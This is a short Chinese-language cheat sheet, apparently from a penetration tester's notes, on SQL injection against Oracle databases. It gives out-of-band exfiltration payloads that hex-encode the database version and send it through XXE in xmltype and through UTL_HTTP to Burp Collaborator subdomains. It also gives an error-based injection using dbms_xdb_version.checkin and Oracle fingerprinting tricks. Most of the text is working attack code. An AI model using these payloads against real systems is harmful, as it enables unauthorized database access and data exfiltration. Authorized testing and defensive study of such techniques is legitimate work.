oralce9i开始我们对oracle数据库进行攻击的时候通常需要确定数据库的版本,以便确定是否能进行进一步的利用,这里举一个带外查询数据库版本的例子,因为域名中不能出现特殊字符,所以需要进行编码,经过测试一个子域名最长是64个字节(猜测与dns服务器的具体实现有关,后边再看dns服务器具体实现对dns查询请求A记录名称长度的规定),但是select BANNER from v$version where rownum=1返回的第一条信息编码后的长度远超过64个字节,可以看出第三行数据比较短,但是oracle没有limit语句,就很不方便。
我们可以用这条语句达到同样的效果,因为我们只需要获取到版本即可
SELECT VERSION FROM PRODUCT_COMPONENT_VERSION where ROWNUM=1
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT rawtohex(VERSION) FROM PRODUCT_COMPONENT_VERSION where ROWNUM=1)||'.fl4oiu2as1pycr4g77lqjsk8yz4pse.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
进行其他操作同样需要考虑以上问题
也可以使用UTL_HTTP
select * from t_user where name='admin' || utl_http.request('http://'||(SELECT RAWTOHEX(VERSION) FROM PRODUCT_COMPONENT_VERSION where ROWNUM=1)||'.ujh1wgf4gp9zr79ra4270zdt7kda1z.burpcollaborator.net')
使用Oracle专属函数判断是否为Oracle数据库
to_char、to_number
支持科学计数法
使用instr替代like
instr函数,返回参数二在参数一中第一次出现的位置(从1开始)
报错注入
select * from t_user where name='admin' || dbms_xdb_version.checkin(user)